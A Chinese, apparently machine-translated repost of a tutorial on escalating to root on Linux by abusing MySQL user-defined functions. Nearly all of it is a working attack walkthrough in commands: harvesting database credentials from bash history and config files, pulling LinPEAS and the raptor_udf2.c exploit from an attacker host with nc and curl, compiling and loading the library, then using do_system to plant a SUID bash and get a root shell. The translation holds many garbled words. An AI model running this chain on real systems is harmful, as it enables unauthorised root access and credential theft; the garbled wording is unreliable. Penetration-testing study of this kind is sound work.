Linux 提权-MySQL UDF
本文通过 Google 翻译 MySQL User Defined Functions – Linux Privilege Escalation 这篇文章所产生,本人仅是对机器翻译中部门表达别扭的字词进行了校正及个别解释增补。导航
[*]0 前言
[*]1 什么是用户定义函数 (UDF) ?
[*]2 罗列 UDF 漏洞利用条件
[*]2.1 手动罗列 UDF 漏洞利用条件
[*]2.1.1 寻找数据库凭据
[*]2.2 工具罗列 UDF 漏洞利用条件
[*]2.3 登录 MySQL 进一步罗列
[*]3 定位、下载和编译 UDF 漏洞
[*]3.1 下载 raptor_udf2.c 副本
[*]3.2 编译 raptor_udf2.c 副本
[*]4 利用 UDF 漏洞获取 Root Shell
0、前言
在本篇文章中,我们将学习如何通过滥用 MySQL 中的用户定义函数 (UDF) 来提升我们在 Linux 目标机上的权限。通过发现一些错误的配置选项并找到 MySQL 数据库的密码,攻击者可以利用 UDF 漏洞从尺度用户提升到 root 用户。让我们来看看是如何做到的!
首先,我们将在一台受害 Linux 主机上手动列举该漏洞利用的必要条件。接下来,我们将通过两种不同的方式寻找数据库密码。然后,我们将了解如何利用一款名为 LinPEAS 的优秀工具,自动为我们罗列所有条件,并为我们找到密码。然后,我们将访问 MySQL 数据库并进一步罗列,以确定我们有能力在这台主机上滥用 UDF。最后,我们将制作漏洞利用步伐,并按照 C 文件解释中的步调执行命令,最终获得 root shell。
1、什么是用户定义函数 (UDF)?
用户定义函数(即UDF)是一种通过创建或添加像内置 MySQL 函数一样的新函数来扩展 MySQL 功能的方法。
通过利用 UDF,我们可以创建“本地命令”代码,以便在 MySQL 宿主机的操作体系上执行。为此,我们必要编写一个库(通常是 C/C++),将库编译成共享对象,然后将共享对象放入插件目录,最后在 MySQL 中创建一个函数来执行我们的共享对象文件。
作为攻击者,我们必要对此进行分解,并思考如何加以滥用。考虑到我们在 MySQL 内部创建了一个函数,用于在 MySQL 服务宿主机的文件体系上执行命令,我们如何利用这个函数进行恶意攻击应该是显而易见的,尤其是如果我们能以 root 身份执行命令的话。
2、罗列 UDF 漏洞利用条件
在此示例中,我们作为尺度用户“Juggernaut”在 Linux (Ubuntu 16.04) 目标上获得了立足点。
https://img2024.cnblogs.com/blog/1503193/202406/1503193-20240618183536157-496006023.png
由于这个 shell 不是利用 SSH 创建的,因此我们在获得立足点后要做的第一件事就是将 shell 升级到完整的 TTY(如果可以的话)。我们可以利用以下命令来完成此操作:
python -c 'import pty;pty.spawn("/bin/bash");'
CTRL + Z
stty raw -echo;fghttps://img2024.cnblogs.com/blog/1503193/202406/1503193-20240618184143797-2063917124.png
如今我们有了完整的 TTY,我们可以利用箭头浏览命令汗青记录、利用制表符补全、清除终端等。
当您实验直接在受害者主机上访问 MySQL 时,上述步调非常紧张。如果您不升级到完整 TTY,您将不会看到密码提示,由于它是交互式的。
这也意味着如果没有完整的 TTY,便无法通过受害主机 Shell 正常登录 MySQL,此时要与该 MySQL 交互就必要通过隧道进行端口转发流量,然后通过攻击机本机的MySQL 客户端进行连接交互。
完成这一步后,我们就可以开始集中精力进行罗列了。首先,我们将了解如何利用手动方法罗列所需的条件,然后利用 LinPEAS 自动查找所有相同的信息。要确定这种攻击是否可行,我们必要找到很多东西,因此让我们先进行一些手动罗列。
2.1、手动罗列 UDF 漏洞利用条件
要确定 MySQL 是否可以进行 UDF 攻击,我们必要确定几件事。首先,我们必要确定 MySQL 是否正在运行。默认环境下,MySQL 运行在 3306 端口上,并分配给 localhost (127.0.0.1)。这意味着该服务只能从目标主机本地访问,外部无法访问。不过,如果我们在最初的 nmap 扫描中发现 MySQL 可以从外部访问,那么这一步就已经完成了。
要检查 MySQL 是否正在运行,我们可以利用以下 netstat 命令:
netstat -tulpnhttps://img2024.cnblogs.com/blog/1503193/202406/1503193-20240618183536594-345688843.png
这表明 MySQL 正在目标主机本地运行,由于本地所在是 127.0.0.1。
接下来,我们要找出谁是进程所有者(服务以谁的身份运行)。默认环境下,这将是 "mysql" 服务账户,但也可以将其更改为包罗 root 用户在内的任何用户。
我们可以利用以下命令检查服务所有者:
ps -ef | grep mysqlhttps://img2024.cnblogs.com/blog/1503193/202406/1503193-20240618183536166-281763259.png
Amazing!我们发现 MySQL 服务(进程)的所有者是 root。这也让我们知道,如果我们能够发现可以通过数据库超级用户访问该数据库并且服务本身也有一些其他错误配置,那么我们就能滥用 UDF,并以 root 身份执行操作体系命令!
好吧,我们发现该服务正在内部运行,并且以 root 身份运行,所以如今我们必要确定正在运行的版本。
mysql -Vhttps://img2024.cnblogs.com/blog/1503193/202406/1503193-20240618183536301-1261266786.png
从这个输出中,我们最感兴趣的是“Distrib”编号,在本例中为5.7.34,这对我们来说是个好消息,由于我们将利用的 UDF 漏洞适用于 MySQL / MariaDB 版本 4.X 和 5.X 。
这个漏洞涵盖多个版本的 MySQL,由于它针对的不是传统意义上的漏洞。UDF 是一种预期功能,旨在允许从 MySQL 内部读/写宿主机文件体系;然而,当 MySQL 服务/进程被错误配置(以root运行进程)或修改为允许过多访问(可在外部登录访问)或 "松散权限 "时,我们就会发现自己处于可以利用此服务并提升访问权限的位置。
接下来,我们必要找到一种访问数据库的方法。为此,我们必要找到允许我们登入的凭据。
默认环境下,MySQL 服务器的 root 密码为空,因此我们首先应该实验不利用密码登录,看看是否是这种环境。我们可以实验利用以下命令以 root 身份登录:
mysql -u root这要么让我们直接进入,要么告诉我们由于未提供密码而导致访问被拒绝。
https://img2024.cnblogs.com/blog/1503193/202406/1503193-20240618183535990-921088929.png
在这里我们可以看到root帐户确实必要密码。
在此必要明确的一点是,MySQL 的 "root" 账户只是 MySQL 服务的超级用户账户,这与文件体系上的 root 账户不同。
接下来,我们应该实验另一个常见的默认密码,即 toor 。为了提示我们输入密码,我们必要将“-p”标志传递到 mysql 命令中。
mysql -u root -phttps://img2024.cnblogs.com/blog/1503193/202406/1503193-20240618183536534-631833805.png
在提示输入密码后,我们输入了 "toor",但也无法进入!这意味着我们必要开始寻找密码,希望能找到根密码。
2.1.1、寻找数据库凭据
我们可以在文件体系的许多地方查找凭据。我们在初始罗列和后罗列过程中发现的任何用户名和/或密码都应放入记事本中,如许我们就可以在任何地方实验插入这些用户名和密码。
此外,另有一些特定的地方我们最有可能找到 MySQL 凭据。
首先,我们应该始终检查当前用户主目录中的 .bash_history 文件,以及我们有权访问的任何其他用户主目录。这应该是我们进行漏洞发掘后的首要步调之一,由于它可以让我们快速、轻松地获胜。
cd /home && ls -lhttps://img2024.cnblogs.com/blog/1503193/202406/1503193-20240618183536103-1228974095.png
在这里我们可以看到 /home 目录中只有一个用户目录,因此我们将从这里开始。
如果此处有多个用户目录,请实验访问所有目录。您永远不知道您可能会发现您有权访问什么...例如,另一个用户的 bash 汗青文件!请注意,我们在这里没有看到 root 的主配置文件,由于 root 主配置文件位于 /root。另外请注意,bash 汗青记录文件是隐藏的, 可以利用 ls -la 检察
cd juggernaut && cat .bash_historyhttps://img2024.cnblogs.com/blog/1503193/202406/1503193-20240618183536510-1537199639.png
BOOM!在 bash 汗青文件中,我们可以看到用户实验直接在命令行上传递完整凭据来登录 MySQL。
root:SuperS3cureP@ssw0rd
我们通常会找到 MySQL 凭据的第二个地方是 webroot 目录。它通常位于 /var/www,该目录还包罗我们在获得立足点之前利用 gobuster 或 dirb 等工具对子目录进行模糊测试时找到的网页。
大多数环境下,我们会寻找配置 PHP 文件。但是,我们也可以在许多可能的文件范例中找到数据库凭据,包罗 TXT 文件、bash 脚本、其他脚本、ZIP 文件、其他压缩文件范例(tar、gz 等)、DB 文件等等。
导航到 /var/www/,我们可以看到这里有一些文件,但“config.php”最为突出。
cd /var/www && ls -lhttps://img2024.cnblogs.com/blog/1503193/202406/1503193-20240618183536396-504197225.png
当我们检查该文件时,我们可以看到它用于以 root 身份访问 MySQL 数据库,并显示明文用户名和密码。
https://img2024.cnblogs.com/blog/1503193/202406/1503193-20240618183536361-536169106.png
如今我们有了用户名和密码,我们可以在受害机器上本地访问数据库;不过,在此之前,让我们看看 LinPEAS 是如何自动罗列我们刚刚找到的所有内容。
2.2、工具罗列 UDF 漏洞利用条件
LinPEAS 是一款终极的后漏洞罗列工具,由于它提供了大量信息。在受害者上运行它后,我们将看到通过手动罗列发现的所有相同内容,甚至更多。然而,在利用工具之前展示手动步调非常紧张,如许我们才能理解输出效果以及要查找的内容。
如果您没有 LinPEAS 的副本,您可以在这里获取一份。
一般来说,当我们执行 LinPEAS 时,我们将不带参数运行以进行“所有检查”,然后从上到下逐行梳理所有输出。
运行完整扫描时的一个好技巧是将 PEAS 的输出重定向到一个文件,以便利用 grep 快速解析常见漏洞和关键字。
获取 LinPEAS 的副本后,我们必要将副本传输给受害者。我们可以通过多种方式来完成此操作,但在本示例中,我们将利用 netcat。
从 linpeas.sh 所在的目录中,我们可以在攻击者计算机上运行以下命令,将文件提供给受害者:
nc -nvlp 443 < linpeas.sh回到受害者,我们必要导航到具有写入权限的文件夹,通常是我们的 home 目录、/tmp 目录或 /dev/shm 目录。我个人喜好 /dev/shm,因此我们将导航到那里,然后利用以下命令下载 LinPEAS:
cd /dev/shm
nc 172.16.1.30 443 > linpeas.sh当正确完成此操作后,我们应该看到受害者签入到我们的攻击者机器,并且两个提示都会挂起。让它静置一分钟,然后终止攻击者计算机上的提示,如许它就不会终止受害者上的 shell。
https://img2024.cnblogs.com/blog/1503193/202406/1503193-20240618183536145-18201465.png
在这里我们可以看到受害者 - 172.16.1.175,登录到了我们的攻击者机器 - 172.16.1.30。大约一分钟后,我们可以简单地利用CTRL + C 来终止攻击者计算机上的会话,并再次释放受害者的提示。之后,我们必要利用 ls -l 检查两侧的文件,确保它们的大小相同(完整性完好),这将表明传输成功。
https://img2024.cnblogs.com/blog/1503193/202406/1503193-20240618183536310-5243497.png
https://img2024.cnblogs.com/blog/1503193/202406/1503193-20240618183536356-1670306426.png
完善,一切都匹配!如今我们必要利用 chmod + x 或 chmod 755 授予文件执行权限。
https://img2024.cnblogs.com/blog/1503193/202406/1503193-20240618183535974-2030764566.png
好吧,剩下要做的就是执行脚本,然后检察输出。
./linpeas.sh向下滚动,我们发现第一个必要条件是 MySQL 进程在Processes、Crons、Timers、Services and Sockets 部门中以 root 身份运行。
https://img2024.cnblogs.com/blog/1503193/202406/1503193-20240618183537478-1448761821.png
进一步滚动,我们来到 Software Information 部门,在这里我们可以看到正在运行的 MySQL 版本以及 LinPEAS 执行的一些检查,以检察 root 帐户是否利用空白密码或“root”或“toor”作为密码。
https://img2024.cnblogs.com/blog/1503193/202406/1503193-20240618183536308-187808213.png
继续,我们到达 Interesting Files 部门,我们在此中找到 Web 文件,此中 config.php 脱颖而出。
https://img2024.cnblogs.com/blog/1503193/202406/1503193-20240618183536766-1398652402.png
再往下,我们碰到了有趣的汗青文件字符串,并且发现了 MySQL 凭据,就像我们在 .bash_history 文件中所做的那样。
https://img2024.cnblogs.com/blog/1503193/202406/1503193-20240618183536211-546418228.png
再往下一点,我们可以看到 LinPEAS 发现 config.php 文件很有趣,并专门为此设置了一个检查,在本例中,它恰恰为我们转储了凭据!
https://img2024.cnblogs.com/blog/1503193/202406/1503193-20240618183537268-2074987760.png
在这种环境下,它没有转储用户名,但从 "db "部门,我们可以推断出这是一个 DB 用户。我们还可以检查文件以确定,由于我们知道这就是之前在 webroot 目录中看到的 config.php 文件。
Amazing! LinPEAS 确实是一头野兽!它找到了我们手动罗列的所有内容,包罗 MySQL root 用户的密码。
2.3、登录 MySQL 进一步罗列
如今我们已经找到了 MySQL root 用户的用户名和密码,我们应该登录 MySQL 并执行进一步的罗列。
mysql -u root -p当提示输入密码时,我们输入 SuperS3cureP@ssw0rd,然后我们就可以访问 MySQL。当密码输入正确后,我们将看到 mysql> 提示符。
https://img2024.cnblogs.com/blog/1503193/202406/1503193-20240618183536558-1870657384.png
由于我们是MySQL超级用户(root),因此我们应该拥有该帐户的完全访问权限;但是,我们可以利用以下命令确认这一点:
SHOW GRANTS;https://img2024.cnblogs.com/blog/1503193/202406/1503193-20240618183536157-1012361915.png
这证实我们拥有所有权限,这是我们作为 root 所期望的。不过,有时我们可能会碰到 MySQL 的非 root 账户凭据。在这种环境下,我们必要利用 SHOW GRANTS 来检查我们拥有哪些权限。我们也可能发现该账户不是 "root",但仍然是超级用户。
我们还想知道 secure_file_priv 的位置。secure file priv 是 MySQL 中的一个设置,用于限制数据可以从哪里写入 MySQL。如果将其设置为我们没有写入权限的文件夹,那么一切都完了。我们可以利用以下命令检查:
SHOW VARIABLES LIKE 'SECURE_FILE_PRIV';https://img2024.cnblogs.com/blog/1503193/202406/1503193-20240618183535995-1205538161.png
荣幸的是,我们可以看到这里是空白的,这说明我们可以从体系中的任何文件位置写入 MySQL。
最后,在这里我们还可以获取插件文件夹的位置。后面当我们制作漏洞并将其加载到 MySQL 时,这将非常紧张。
SHOW VARIABLES LIKE 'PLUGIN_DIR';https://img2024.cnblogs.com/blog/1503193/202406/1503193-20240618183536058-658359805.png
插件文件夹是默认共享对象所在的位置,也是唯一可以从中加载共享对象的文件夹。该文件夹由 root 拥有,但由于MySQL进程以 root 身份运行,所以当我们在 MySQL 内执行命令来移动我们的漏洞利用文件时,这些操作将以 root 身份在实际文件体系上执行,这将允许我们将文件移动到归 root 所属的文件夹。
上面我们已经彻底罗列了 MySQL,如今我们可以进入攻击的下一个阶段。
3、定位、下载和编译 UDF 漏洞
在此示例中,我们将利用 raptor_udf2.c UDF 漏洞利用,可以通过搜刮 exploit-db 或 GitHub 找到该漏洞。荣幸的是,由于这个漏洞利用在exploit-db上,如果我们利用Kali,那么这个漏洞就已经在我们的体系上。
3.1、下载 raptor_udf2.c 副本
为了定位 UDF 漏洞,我们可以利用名为 searchsploit 的工具,其语法如下:
searchsploit udfhttps://img2024.cnblogs.com/blog/1503193/202406/1503193-20240618183538467-691665083.png
在这里我们看到有两个 UDF 漏洞利用相互相似。然而,较新的版本包罗 MySQL 版本 5.x,也是我们将在此处利用的版本(1518.c)。
接下来,我们希望将其复制到我们的工作目录中,以便我们可以在将其传输到受害者之前仔细检察。
要将漏洞利用步伐复制或镜像到我们当前的工作目录中,我们可以将 -m 开关与 searchsploit 一起利用,如下所示:
searchsploit -m 1518.chttps://img2024.cnblogs.com/blog/1503193/202406/1503193-20240618183536553-1596154844.png
为了真实性,我们将这个漏洞重命名为 raptor_udf2.c,然后利用 head 命令检察解释。
mv 1518.c raptor_udf2.c
head -50 raptor_udf2.chttps://img2024.cnblogs.com/blog/1503193/202406/1503193-20240618183537329-1902836325.png
第一条解释说明提到,当 MySQL 以 root 身份运行时,此漏洞可用于通过 MySQL 进行本地权限升级,我们已经发现受害者就是这种环境。
接下来,它会告诉我们如何编译和利用漏洞利用步伐。我们必要针对当前机器对命令做一些修改。
如今我们已经找到了要利用的漏洞,我们必要将其下载到受害者上。
在攻击者机器上,我们可以利用以下命令在工作目录的端口 80 上设置 HTTP 服务器:
python3 -m http.server 80https://img2024.cnblogs.com/blog/1503193/202406/1503193-20240618183536289-614998242.png
回到受害者,我们可以利用 cURL 或 wget 从攻击者计算机下载文件。在此示例中,我们将利用 cURL。
curl 172.16.1.30/raptor_udf2.c -o raptor_udf2.chttps://img2024.cnblogs.com/blog/1503193/202406/1503193-20240618183538504-110918539.png
Perfect!我们如今已经找到了我们的漏洞并将其下载到受害者身上。接下来我们必要编译它。
3.2、编译 raptor_udf2.c 副本
编译前首先必要检查编译环境。有几种方法可以检查受害者是否安装了gcc 。
首先,我们可以实验运行 gcc 并看看它说了什么。它要么会说必要安装,要么会告诉您如何正确利用该命令。不管怎样,这都会告诉我们 gcc 是否在体系上。至少,它告诉我们 gcc 是否在我们的 PATH 中。
gcchttps://img2024.cnblogs.com/blog/1503193/202406/1503193-20240618183536064-1006048035.png
这个错误告诉我们 gcc 已经安装了,这就完善了!有了这些信息,我们知道我们将能够直接在受害者上编译我们的漏洞利用步伐。
如果 gcc 不在你的 PATH 中并且它说你必要安装它,那么不要立即放弃。您永远不知道 gcc 是否 正好位于体系上不在您的 PATH 中的其他位置。固然可能性不大,但应该进行检查。
要查找 体系上 gcc 的所有实例,我们可以利用 find 命令。
find / -iname "gcc" 2>/dev/nullhttps://img2024.cnblogs.com/blog/1503193/202406/1503193-20240618183536210-1512418398.png
我们可以看到这里找到了很多 gcc 的实例 ,然而此中很多都是目录。/usr/bin/gcc 是我们的 PATH 中的位置,这就是为什么我们可以通过调用命令 gcc 来执行它 ,而不必要二进制文件的完整路径。
同样,如果我们发现 gcc 没有安装,我们应该进行上述搜刮,然后检查每一个以确认 gcc 确实不在体系上,然后再放弃。
由于我们发现受害者上安装了gcc ,因此我们可以继续按照解释中的步调编译漏洞利用步伐。
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lchttps://img2024.cnblogs.com/blog/1503193/202406/1503193-20240618183536331-13174873.png
当实验编译此漏洞时,我们碰到错误,这种环境并不总是发生;但是,当出现这种环境时,它会提供有关如何解决问题的说明。
从输出中,我们可以看到第一个命令有效并且创建了.o目标文件,但在第二个命令中,提示该目标文件无法用于创建共享对象,必要利用-fPIC重新编译。由于问题源于目标文件,因此我们必要将-fPIC添加到创建目标文件时运行的第一个命令中。
为此,我们必要删除我们创建的目标文件并再次执行第一条命令,这次附带 -fPIC。
rm raptor_udf2.o
gcc -g -c raptor_udf2.c -fPIC
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lchttps://img2024.cnblogs.com/blog/1503193/202406/1503193-20240618183537573-1068782690.png
这次没有报错,并且共享对象文件(.so)文件也已成功创建!
如今我们的漏洞已经创建,我们可以进入 MySQL,然后加载它并以 root 身份执行命令!
4、利用 UDF 漏洞获取 Root Shell
至此,我们已经找到了漏洞利用的所有必要条件,如:MySQL以 root 身份运行、MySQL版本为5.x、MySQL超级用户凭据、安全文件权限设置为NULL(空白)、成功编译exploit。
到这里,我们只需以超级用户的身份访问 MySQL,然后按照解释中的步调即可实现命令执行。
首先,我们将以 root 身份访问 MySQL 服务并 use mysql 数据库,创建一个名为“foo”的表,然后将 raptor_udf2.so 漏洞加载到该表中。再次强调,我们不能仅仅从评论中复制粘贴,我们必要编辑与受害者和我们的漏洞位置相关的命令(/tmp)。
mysql -u root -p
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/raptor_udf2.so'));https://img2024.cnblogs.com/blog/1503193/202406/1503193-20240618183536533-1237178193.png
好吧…第一步已成功执行。如今我们必要做的就是将表 "foo "中的漏洞加载到 dumpfile 中,这基本上就是将文件复制到插件目录中,以便将共享对象的功能集成到 MySQL 中。之后,剩下的工作就是创建一个利用共享对象的函数,然后在获得 root shell 之前执行 POC 命令!
之前,在我们最初的罗列中,我们检查了插件目录。这对于这一步很紧张,由于我们的插件文件夹位置与解释中的位置不同。
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';https://img2024.cnblogs.com/blog/1503193/202406/1503193-20240618183536535-356831657.png
在这里我们可以看到我们又碰到了一个错误!一般来说,这会正常工作,不会出现任何错误;然而,在极少数环境下确实会发生这种环境,实际上有一个非常简单的修复方法。由于该服务以 root 身份运行,因此我们只需在 MySQL 中执行简单的复制即可将漏洞利用步伐复制到插件目录中。
快速检查插件目录,我们可以看到,出现错误的缘故原由是由于文件被转储到插件目录中的字节大小为 1。
https://img2024.cnblogs.com/blog/1503193/202406/1503193-20240618183536027-1653357707.png
要从数据库内部复制文件,我们可以利用以下命令:
\! cp /tmp/raptor_udf2.so /usr/lib/mysql/plugin如今,如果我们将会话置于后台(CTRL + Z),我们将看到该文件已以正确的字节数添加到插件目录中。
https://img2024.cnblogs.com/blog/1503193/202406/1503193-20240618183536958-311312329.png
如今问题都解决了,我们可以再次实验创建函数。这次应该不会堕落了,由于文件的字节数是正确的。
https://img2024.cnblogs.com/blog/1503193/202406/1503193-20240618183536170-819090341.png
成功了!我们可以利用以下命令确认该函数已成功创建:
select * from mysql.func;https://img2024.cnblogs.com/blog/1503193/202406/1503193-20240618183536039-115484386.png
Perfect!这证实一切都已就位,并准备好让我们对共享对象文件进行恶意攻击!
对于 POC,我们可以利用以下命令创建一个 txt 文件,该文件将确认我们以 root 身份执行命令:
select do_system('whoami > /tmp/whoami.txt');https://img2024.cnblogs.com/blog/1503193/202406/1503193-20240618183536463-177844577.png
固然它显示“0”,但执行成功,通过再次将会话置于后台,我们可以在 /tmp 中看到 TXT 文件,并且它属于 root!
https://img2024.cnblogs.com/blog/1503193/202406/1503193-20240618183536163-2008272780.png
Amazing! POC 成功,我们正式以 root 身份执行命令!如今我们可以利用 1-liner 将反向 shell 发送回攻击者,大概我们可以做一些更简单的事情,只需将 bash 二进制文件复制到 /tmp 文件夹中并在其上设置 SUID 位。
select do_system('cp /bin/bash /tmp/bash ; chmod +s /tmp/bash');这次,当我们再次检查 /tmp 目录时,我们看到 bash 的副本如今位于 /tmp 文件夹中,该文件夹由 root 拥有并设置了 SUID 位。
SUID(执行时设置所有者用户 ID)是一种特殊的文件权限。通常环境下,当你运行一个步伐时,它会以你当前的用户身份运行。但当一个步伐设置了 SUID 位,步伐就会以该文件所有者的身份运行!基本上,root 拥有的 SUID 二进制文件将以 root 的身份运行,无需利用 sudo。
https://img2024.cnblogs.com/blog/1503193/202406/1503193-20240618183536167-884500467.png
最后,要进入 root shell,我们可以简单地利用以下命令:
/tmp/bash -phttps://img2024.cnblogs.com/blog/1503193/202406/1503193-20240618183536016-728222745.png
就如许…我们得到了 root shell,如今可以完全控制受害者!
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页:
[1]